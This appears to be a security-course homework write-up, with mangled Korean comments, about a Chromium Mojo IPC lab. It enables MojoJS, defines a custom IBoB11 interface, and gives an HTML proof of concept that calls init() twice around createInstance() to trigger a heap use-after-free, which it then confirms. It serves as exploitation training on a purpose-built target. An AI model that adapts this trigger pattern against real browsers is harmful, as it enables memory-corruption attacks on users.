[IPC] heap-use-after-free crash
https://www.notion.so/skaqnrudckfcjd/IPC-_-_HW-1-66f1a73a005d491eab3f34e04a942d17?pvs=4
[IPC]_{๋จํ๊ฒฝ}_HW#1
Mojo Bindings for JavaScript ํ์ฑํ
www.notion.so
- Mojo Bindings for JavaScript ํ์ฑํ
./chrome —enable-blink-features=MojoJS
- bob11.mojom → IBoB11 Mojo ์ธํฐํ์ด์ค IDL
module blink.mojom;
interface IBoB11 {
hello() => ();
iambinish() => (string whoami); //๊ฒฐ๊ณผ ์ถ๋ ฅ๋๋ ๊ณณ
init() => ();
createInstance() => (pending_associated_remote<blink.mojom.IBoB11Instance> ? instance);
};
interface IBoB11Instance {
goodluck() => ();
};
- IPC.html
//๊ฒฝ๋ก์ ํ์ผ ์ถ๊ฐ
<script src="mojo/mojo_bindings.js"></script>
<script src="mojo/third_party/blink/public/mojom/bob11/bob11.mojom.js"></script>
<script>
//logger interface ํธ์ถ
var logger = new blink.mojom.IBoB11Ptr();
Mojo.bindInterface(blink.mojom.IBoB11.name, mojo.makeRequest(logger).handle);
//iambinish ํจ์ ํธ์ถ
console.log(logger.iambinish());
</script>
→ ํ์ด์ง 25์ Mojo Interface ํธ์ถ ์์ ๋ฅผ ์ฐธ๊ณ ํ์ฌ logger ์ธํฐํ์ด์ค๋ฅผ ํธ์ถํด๋ณด์๋ค.
๊ทธ๋ฆฌ๊ณ ํฌ๋กฌ์ ํ์ฑํ์ํจ ํ์ ํด๋น html์ด ์๋ ๊ฒฝ๋ก์ ์ ์ํด๋ณด์๋ค.
→ ํด๋น ๊ฒฝ๋ก ์ ์
/home/greena/Desktop/IBoB11_Files/bob11/IPC.html
→ iambinish() ํธ์ถ
- bob.html
<script src="mojo/mojo_bindings.js"></script>
<script src="mojo/third_party/blink/public/mojom/bob11/bob11.mojom.js"></script>
<script>
async function bob(){
//logger interface ํธ์ถ
var logger = new blink.mojom.IBoB11Ptr();
Mojo.bindInterface(blink.mojom.IBoB11.name, mojo.makeRequest(logger).handle);
//init()์์ make_unique<UaFImpl>
logger.init();
//IBoB11InstanceAssociatedPtr์ ์๋ createInstance์์ row ptr๋ก ์ ๋ฌ
//async์์ ์ฌ์ฉํ๊ณ ์๊ธฐ ๋๋ฌธ์ ์์๋ฅผ ์ง์ผ์ฃผ๊ธฐ ์ํด await ์ฌ์ฉ
var instance = new blink.mojom.IBoB11InstanceAssociatedPtr((await logger.createInstance()).instance);
//init() ์ฌํธ์ถ -> Hint : Twice
logger.init();
instance.goodluck();
}
bob();
</script>
→ initํจ์์์ unique ptr์ ๋ฐ๊ฒ ๋๋๋ฐ createInstance์ ์๋ ํฌ์ธํฐ ๊ฐ์์ raw pointer๋ก ๋ฐ๊ณ ์๊ธฐ ๋๋ฌธ์ init์ด ์ฌํธ์ถ๋ ๊ฒฝ์ฐ์ ์ด๋ฏธ Free๋ ๊ณต๊ฐ์ ์ฌ์ฉํ๋ ค๊ณ ํ๊ธฐ ๋๋ฌธ์ UaF๊ฐ ๋ฐ์ํ๊ฒ ๋๋ค.
→ heap-use-after-free crash๊ฐ ๋ฐ์ํ๋ ๊ฒ์ ํ์ธํ์๋ค.